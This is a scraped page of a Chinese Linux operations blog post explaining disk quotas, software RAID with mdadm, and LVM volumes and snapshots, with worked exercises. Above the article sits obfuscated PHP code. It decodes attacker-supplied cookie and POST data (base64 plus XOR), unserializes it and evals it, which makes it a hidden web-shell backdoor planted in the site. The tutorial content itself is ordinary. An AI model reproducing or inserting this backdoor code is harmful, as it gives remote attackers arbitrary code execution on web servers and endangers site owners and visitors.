$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 磁盘配额、软RAID使用、LVM管理 | Linux运维部落

磁盘配额、软RAID使用、LVM管理

一.磁盘配额的相关知识

(1)工作原理及方式

        *以文件系统为单位启动

        *以特定的用户或组为对象

        *根据块或节点进行限制

        *在内核中运行

        *VFAT系统不支持quota

(2)初始化

        *分区挂载选项:usrquota grpquota

        *初始化数据库:quotacheck  扫描文件系统并新建quota配置文件

            quota [option] [/mount_point]

                -a 扫描所有在/etc/mtab内,含有quota支持的文件系统,加上此参数后,挂载点可以不写,因为扫描所有系统了

                -v 显示过程

                -u 针对用户扫描文件与目录的使用情况,会新建aquota.user

                -g 针对用户组扫描文件与目录的使用情况,会新建aquota.group

(3)执行

                *开启或者取消配额:quotaon、quotaoff   参数和quotacheck的a v u g 参数作用一致

                *直接编辑配额:edquota username

                    edquota使用详解:edquota -t

                    dequota -p 范本账号 -u 新账号

                                -u user

                                -g group

                                -t 修改宽限时间

                                -p 复制范本

                *在shell中直接编辑:

                        setquota username softblock hardblock softinode hardinode 设置配额的文件系统

                *定义原始标准用户

                        edquota -p user1 user2

(4)报告

    *用户调查 quota

            -u 显示出该用户的quota,不加用户,显示执行者quota

            -g 显示该用户组的quota

            -v 显示每个用户在文件系统中的quota值

            -s 使用1024位倍数来制定单位,会显示如M之类的单位

    *配额概述:repquota

        -a 直接到/etc/mstab查询具有quota标志的文件系统,并报告quota的结果

        -v 输出的数据含有文件系统相关的详细信息

        -u 显示用户的quota值,默认选项

        -g 显示个别组的quota值

        -s 使用G M为单位显示结果

    *其他工具:warnquota   当针对某用户的磁盘限额达到soft值时,执行此命令会发邮件给该用户

实例:针对/home目录设置quota,并给tian,tianzhi用户设置quota

  1. 由于quota是针对文件系统的,查看/home是不是独立文件系统

    1.png

  2. 位避免不必要的权限问题,建议关掉selinux

    2.png

  3. 给/home目录加上usrquota挂载选项

    3.png

  4. 用quotacheck -a 检查文件系统并创建配置文件

    4.png

  5. 开启quota并查看其状态

    5.png

  6. 针对tian用户设置quota

    6.png

  7. 给tianzhi用户设置磁盘配额

    7.png

  8. 切换到tian用户下,创建一个300M大小文件;显示超过警报线

    8.png

  9. 创建一个520M文件;结果显示创建失败

    9.png

二.RAID(Redudant Arrays of Inexpensive Disks)  结合内核中的md(multi devices)

(1)多个磁盘合成一个阵列来提供更好的性能、冗余

        提高I/O能力:磁盘并行读写

        提高耐用性:磁盘冗余来实现

        级别:多块磁盘组合在一起的方式不同

(2)raid实现方式

    外接式磁盘阵列:通过拓展卡提供适配能力

    内接式RAID:主板集成RAID控制器

        安装OS前在BIOS里设置

    Software Raid:

(3)RAID级别

        RAID-0:

        读、写性能提升;

        可用空间:N*min(S1,S2,…)

        无容错能力

        最少磁盘数:2, 2

        RAID-1:

        读性能提升、写性能略有下降;

        可用空间:1*min(S1,S2,…)

        有冗余能力

        最少磁盘数:2, 2N

        RAID-4:

        多块数据盘异或运算值,存于专用校验盘

        RAID-5:

        读、写性能提升

        可用空间:(N-1)*min(S1,S2,…)

        有容错能力:允许最多1块磁盘损坏

        最少磁盘数:3, 3+

        RAID-6:

        读、写性能提升

        可用空间:(N-2)*min(S1,S2,…)

        有容错能力:允许最多2块磁盘损坏

        最少磁盘数:4, 4+

        RAID-10:  比RAID-01性能好

        读、写性能提升

        可用空间:N*min(S1,S2,…)/2

        有容错能力:每组镜像最多只能坏一块

        最少磁盘数:4, 4+

        RAID-01、RAID-50

        RAID7:可以理解为一个独立存储计算机,自身带有操作系统和管理工具,可以独立运行,理论上性能最高的RAID模式

        JBOD:Just a Bunch Of Disks

        功能:将多块磁盘的空间合并一个大的连续空间使用

        可用空间:sum(S1,S2,…)

(4)mdadm:为软RAID提供管理界面(感觉不好用)

    mdadm [mode] <raiddevice> [options] <component-devices>

    创建磁盘阵列

        mdadm –create –auto=yes /dev/md[0-9] –raid-device=n –level=[0 1 5] –spare-device=m /dev/sdx….

    查看磁盘阵列信息

        mdadm –detail 磁盘阵列名

        cat /proc/mdstat

    管理磁盘阵列

        mdadm –manage /dev/md[0-9] [–add 设备] [–remove 设备] [–fail 设备]

    软磁盘阵列配置文件

        /etc/mdadm.conf

        生成配置文件  mdadm -D  -s >> /etc/mdadm.conf

    关闭磁盘阵列

        mdadm –stop /dev/md*

实例:用5块磁盘创建一个raid5,并模拟实现raid5容错功能

  1. 新建分区,分区标识符为fd,其他几个分区类似

    1.1.png

  2. 创建raid

    1.2.png

  3. 查看/dev/md0信息

    1.3.png

  4. 把/dev/md0格式化后挂载到/mnt/raid下边

    1.4.png

    1.5.png

  5. 在/mnt/raid新建文件f1,使得/dev/sdd1处于出错状态

    1.6.png

  6. 查看md0信息

    1.7.png

    发现原来的空闲分区/dev/sde2处于工作状态,而/dev/sdd1处于出错状态

  7. 最后发现在centos6.8环境下,不管模拟几块硬盘出错误,文件都能看,而且不是以内文件小于chunk的原因,

    由于此处仅是帮助理解raid原理,故不作深究

三.逻辑卷相关知识详解

(1)逻辑卷可以弹性调整文件系统的容量,raid在于性能与数据的保全

        *dm device mapper:将多个底层块设备组织成一个逻辑设备的模块

        *设备名:/dev/dm-#

        *软链接:

         /dev/mapper/VG_NAME-LV_NAME

            /dev/mapper/vol0-root

        /dev/VG_NAME/LV_NAME

            /dev/vol0/root

        *PE默认大小为4M

        *逻辑卷存储方式: 线性方式,类似于raid 0

                                    交错方式(triped):类似于raid 1

(2)pv管理工具

        pvcreate:将物理分区新建为pv

        pvscan:查询系统内哪些磁盘具有pv

        pvdisplay:显示目前系统上pv状态

        pvs:简要pv信息

        pvremove:让该分区不具有pv属性

        pvmove :移动PE

(3)vg管理工具

        vgcreate  [-s n[mgt]] 指定PE大小   单位大小写均可

        vgscan

        vgs

        vgdisplay

        vgremove:删除一个VG

        vgextend:在VG内增加额外的PV

        vgreduce:在VG内删除pv

        vgchange:设置VG是否启动

(4)lv管理工具

        lvcreate

        lvscan

        lvs

        lvdisplay

        lvextend    可以确实改变文件系统大小

        lvreduce

        lvremove

        lvresize:对LV容量大小进行调整

        lvcreate [-L n[mgt]] [-n LV名称] VG名称

        lvcreate [-l n] [-n LV名称] VG名称

        参数:

            -L 后边接容量,最小单位是PE

            -l 后边接的是PE的个数

            -n 接的是LV的名称

重设文件系统大小

    fsadm[options] resize device [new_size[BKMGTEP]]

    resize2fs [-f] [-F] [-M] [-P] [-p] device [new_size]

(5)xfs_growfs device     xfs文件系统确实增长   不可减少

(6)lvm的系统快照

        *快照是特殊的逻辑卷,它是在快照生成时逻辑卷的准确拷贝

        *快照只有在他们和原来的逻辑卷不同时才会消耗空间

        *快照中只含有原逻辑卷中更改的数据以及手动在快照文件中改变的数据

        *快照去与被快照的lv卷在同一个vg中

    快照区的新建:

        lvcreate -l #1 -s -n 快照去设备名称 被快照lv卷

    利用快照区复原系统:

           1 把快照区当下文件全部备份

           2取消快照区的挂载,如果先取消被快照区,会把快照去溢满

           3 取消被快照区的挂载,重新格式化、挂载被快照区,然后把备份文件解压缩到被挂载区

           4 利用快照去构建测试环境:

    创建快照区

          1  取消被快照区的挂载(可有可无,隐藏起来较好)

          2  随意操作快照区

          3 重新格式化快照区,并在次创建快照区

作业:

1、创建一个至少有两个PV组成的大小为15G的名为testvg的VG;要求PE大小为16MB, 而后在卷组中创建大小为5G的逻辑卷testlv;挂载至/users目录
2、新建用户archlinux,要求其家目录为/users/archlinux,而后su切换至archlinux用户,复制/etc/pam.d目录至自己的家目录
3、扩展testlv至7G,要求archlinux用户的文件不能丢失
4、收缩testlv至3G,要求archlinux用户的文件不能丢失
5、对testlv创建快照,并尝试基于快照备份数据,验正快照的功能

  1. 创建两个分区id为8e的分区,如下所示

    1.png

  2. 创建pv,并显示信息

    2.png

    3.png

  3. 创建PE大小为16MB的卷组testvg,大小为15G

    4.png

  4. 创建大小为5G的逻辑卷testlv

5.png

5.格式化逻辑卷后,把挂载逻辑卷到/users下

6.png

实际上lvm使用的设备是放在/dev/mapper/目录下,所以会看到上诉第二个红线所画部分

6.新建用户archlinux,要求其家目录为/users/archlinux,而后su切换至archlinux用户,复制/etc/pam.d目录至自己的家目录

7.png

8.png

显示当前文件所占大小

1.png

7.扩展testlv到7G大小,查看数据大小

2.png

发现数据大小不变,数据应该没有丢失

查看逻辑卷所在文件系统大小,发现大小依旧为5G

3.png

8.用resize2fs改变文件系统大小

5.png

查看数据大小,发现大小没变

4.png

8.收缩/testlv至3G,要求不损坏数据

(1)先用resize2fs直接缩小文件系统大小,发现不支持在线修改

6.png

(2)取消/dev/testvg/testlv挂载,然后检查文件系统

7.png

(3)缩减所建文件系统的大小到3G

1.png

8.png

(4)为不损坏数据,缩小后的lvm大小必须大于数据大小

9.png

发现缩减后的lvm大小远大于文件数据大小

9.对/dev/testvg/testlv创建快照

(1)为/dev/testvg/testlv创建快照

2.png

(2)挂载到/snapshot下,结果如下

4.png

(3)查看快照区与被快照区的内容

5.png

(4)在/users下添加issue文件,查看快照去区使用情况

6.png

(5)把快照区内容打包备份,然后取消快照区的挂载;要不一会儿格式化被快照区,快照区会溢满

7.png

(6)卸载快照区,重新格式化快照区,然后挂载到/users下,再把打包文件解压缩到/users下

11.png

12.png

13.png

发现/users下并没有新添加的issue文件,快照功能实现

原创文章,作者:mengzhiqian,如若转载,请注明出处:http://www.178linux.com/42635

(0)
上一篇 2016-09-06 08:51
下一篇 2016-09-06 08:51

相关推荐

  • 小型网站MYSQL问题一:MyISAM转Innodb的方法

    故事背景:之前公司的数据库存储引擎全部为MyISAM,数据量和访问量都不是很大,也一直没有什么问题。我最近接手一些运维工作,兼DBA,因为业务上面涉及到钱,所以决定换成支持事物的innodb。下面将操作步骤记录以下。 1、导出mydb数据库的表结构 mysqldump -d -uxxx -p mydb &gt…

    Linux干货 2015-12-19
  • 文件系统自动挂载

    什么是文件系统自动挂载?          利用mount在shell终端进行挂载的时,开机自动启动文件文件系统不会自动挂载,我们需要开机的时候自动挂载文件系统,称为文件系统自动挂载 实现Linux自动挂载文件:/etc/fstab Linux中挂载注意事项:  &nb…

    Linux干货 2016-08-29
  • Linux http服务

                               Linux http服务   网络服务通信基础:   1、端口号就是进程标识,每个用户最多只能打开1024个进程。   2、MAC地址仅…

    系统运维 2016-11-18
  • Centos不重启添加新硬盘

     显示当前磁盘分区: [root@centos7 ~]# fdisk -l</p>< p>    Disk /dev/sda: 32.2 GB, 32212254720 bytes, 6…

    Linux干货 2016-03-27
  • Zabbix基于Proxy分布式部署实现Web监控

    前言 在日常运维工作中,难免会遇到这样或那样的故障,如何能在第一时间发现故障,并及时定位故障原因,保证业务不受影响,我想这应该是做好一个运维必须要掌握的技能。但人力不可能实时掌控系统的变化,于是监控系统应运而生,监控便是运维的眼睛,把监控和性能管理做好后,运维就是一件很轻松的事情。目前比较流行的开源监控工具有Cacti、Nagios(Icinga)、Zabb…

    Linux干货 2015-07-13

评论列表(1条)

  • 马哥教育
    马哥教育 2016-09-20 10:58

    写的很好·哦,坚持写下去,不要半途而废哦,